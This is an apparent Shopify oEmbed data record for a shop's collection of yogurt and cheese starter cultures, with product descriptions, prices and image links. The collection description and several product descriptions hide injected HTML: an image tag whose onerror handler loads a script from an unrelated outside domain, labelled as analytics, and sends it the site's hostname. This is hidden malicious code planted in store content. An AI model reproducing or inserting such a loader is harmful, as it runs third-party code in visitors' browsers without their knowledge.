{"title":"Fait fermenter le yaourt et le fromage cottage","description":"Vous souhaitez fabriquer vous-même votre yaourt et\/ou fromage blanc ? Anisana collabore sur les ferments de yaourt et de fromage avec Danisco, CHR Hansen et Sacco ; les 3 leaders mondiaux du marché dans leur domaine. \u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003c\/div\u003e\n\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","products":[{"product_id":"yo-mix-300-lyo-10-dcu","title":"Yo Mix 300 LYO - 10 DCU (Danisco)","description":"\u003cspan\u003eAvec cette culture de yaourt Yo-mix 300, vous pouvez faire un yaourt au goût très doux avec une viscosité élevée. La culture est un mélange lyophilisé de Streptococcus thermophilus et de Lactobacilucus delbrueckii subsp. bulgaricus. Conserver à -18 degrés Celsius.\u003c\/span\u003e \u003cdiv style=\"z-index: 1;\" id=\"mailtooptiepopupMailModal\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188626788492,"sku":"ANI-34188626788492","price":7.46,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-zuivelfermenten-yo-mix-300-lyo-10-dcu-danisco-ani-34188626788492-yo-mix-300-lyo-10-dcu-danisco-anisana-1266857533.png?v=1794271332"},{"product_id":"kopie-van-yo-mix-300-lyo-50-dcu","title":"Yo Mix 300 LYO - 50 DCU (Danisco)","description":"\u003cdiv id=\"mailtooptiepopupMailModal\"\u003e\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\u003cdiv id=\"mailtooptiemodalToPopup\"\u003e \u003cspan\u003eAvec cette culture de yaourt yo-mix 300, vous pouvez faire un yaourt au goût très doux avec une viscosité élevée. La culture est un mélange lyophilisé de Streptococcus thermophilus et de Lactobacilucus delbrueckii subsp. bulgaricus. Conserver à -18 degrés Celsius.\u003c\/span\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cbr\u003e\u003cdiv\u003e\u003cbr\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188627574924,"sku":"ANI-34188627574924","price":13.69,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-zuivelfermenten-yo-mix-300-lyo-50-dcu-yoghurtferment-ani-34188627574924-yo-mix-300-lyo-50-dcu-danisco-anisana-1266857520.png?v=1794271276"},{"product_id":"yo-mix-601-lyo-50-dcu-danisco","title":"YO-MIX 601 LYO 50 DCU – Yoghurtferment","description":"\u003cdiv id=\"mailtooptiepopupMailModal\"\u003e\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\u003cdiv id=\"mailtooptiemodalToPopup\"\u003e \u003cspan\u003eAvec cette culture de yaourt Yo-mix 601, vous pouvez faire un yaourt solide au goût très doux. La culture est un mélange lyophilisé de Streptococcus thermophilus et de Lactobacilucus delbrueckii subsp. bulgaricus. Conserver à -18 degrés Celsius.\u003c\/span\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cbr\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188701401228,"sku":"ANI-34188701401228","price":18.63,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-yoghurtfermenten-yo-mix-601-lyo-50-dcu-danisco-yo-mix-601-lyo-50-dcu-danisco-bestel-eenvoudig-online-anisana-17015888281740.jpg?v=1698273296"},{"product_id":"hansen-yc-380-50-u","title":"Hansen YC-380 50 U – Yoghurtferment","description":"\u003cp\u003eYC-380 van Chr. Hansen is een gevriesdroogde thermofiele yoghurtcultuur met een uitgesproken yoghurtaroma en een middelmatige viscositeit.\u003c\/p\u003e\u003ch3\u003eToepassingen\u003c\/h3\u003e\u003cp\u003eVoor standyoghurt, roeryoghurt en drinkyoghurt. Er kan na de fermentatie nog enige verzuring optreden.\u003c\/p\u003e\u003ch3\u003eCultuur en uitvoering\u003c\/h3\u003e\u003cp\u003eLactobacillus delbrueckii subsp. bulgaricus en Streptococcus thermophilus. Verkoopeenheid: 1 zakje van 50 U.\u003c\/p\u003e\u003ch3\u003eGebruik en bewaring\u003c\/h3\u003e\u003cp\u003eDirect toevoegen aan gepasteuriseerde melk volgens de technische voorschriften van de leverancier. Bewaar diepgevroren bij -18 °C of kouder en neem pas vlak voor gebruik uit de diepvries. Volg steeds het actuele etiket voor dosering en verwerking.\u003c\/p\u003e\u003cp\u003e\u003cstrong\u003eAllergenen:\u003c\/strong\u003e melk en melkproducten, inclusief lactose.\u003c\/p\u003e\u003cp\u003e\u003cem\u003eAfbeelding ter illustratie van de verpakking.\u003c\/em\u003e\u003c\/p\u003e","brand":"Chr. Hansen","offers":[{"title":"Default Title","offer_id":64306038178122,"sku":"R410061","price":11.69,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/chr-hansen-zuivelfermenten-hansen-yc-380-50-u-yoghurtferment-592243957-r410061-hansen-yc-380-50-u-yoghurtferment-1266857531.jpg?v=1794270733"},{"product_id":"hansen-flora-danica-50-u","title":"Hansen Flora Danica 50 U – Zuivelferment","description":"\u003cp\u003eFlora Danica van Chr. Hansen is een gevriesdroogde mesofiele aromacultuur van het type LD. De cultuur vormt aroma en koolzuurgas tijdens de fermentatie.\u003c\/p\u003e\u003ch3\u003eToepassingen\u003c\/h3\u003e\u003cp\u003eVoor platte kaas, verse kaas, zure room en boter, en voor verschillende zachte en halfharde kaastypen volgens het gekozen recept.\u003c\/p\u003e\u003ch3\u003eCultuur en uitvoering\u003c\/h3\u003e\u003cp\u003eBevat Lactococcus lactis subsp. cremoris, Lactococcus lactis subsp. lactis, Lactococcus lactis subsp. lactis biovar. diacetylactis en Leuconostoc. Verkoopeenheid: 1 zakje van 50 U.\u003c\/p\u003e\u003ch3\u003eGebruik en bewaring\u003c\/h3\u003e\u003cp\u003eVoor directe enting van melk volgens het recept en de technische voorschriften van de leverancier. Bewaar diepgevroren bij -18 °C of kouder. Volg het actuele etiket voor dosering en verwerking.\u003c\/p\u003e\u003cp\u003e\u003cstrong\u003eAllergenen:\u003c\/strong\u003e melk en melkproducten, inclusief lactose.\u003c\/p\u003e\u003cp\u003e\u003cem\u003eAfbeelding ter illustratie van de verpakking.\u003c\/em\u003e\u003c\/p\u003e","brand":"Chr. Hansen","offers":[{"title":"Default Title","offer_id":64306039357770,"sku":"R410080","price":9.41,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/932188_Flora-Danica-1.jpg?v=1794270671"}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/collections\/de-kom-yoghurt-isoleert-op-witte-achtergrond_34152-1375_1.jpg?v=1588366302","url":"https:\/\/anisini.com\/fr\/collections\/fermenten-yoghurt-platte-kaas.oembed","provider":"Anisana BV","version":"1.0","type":"link"}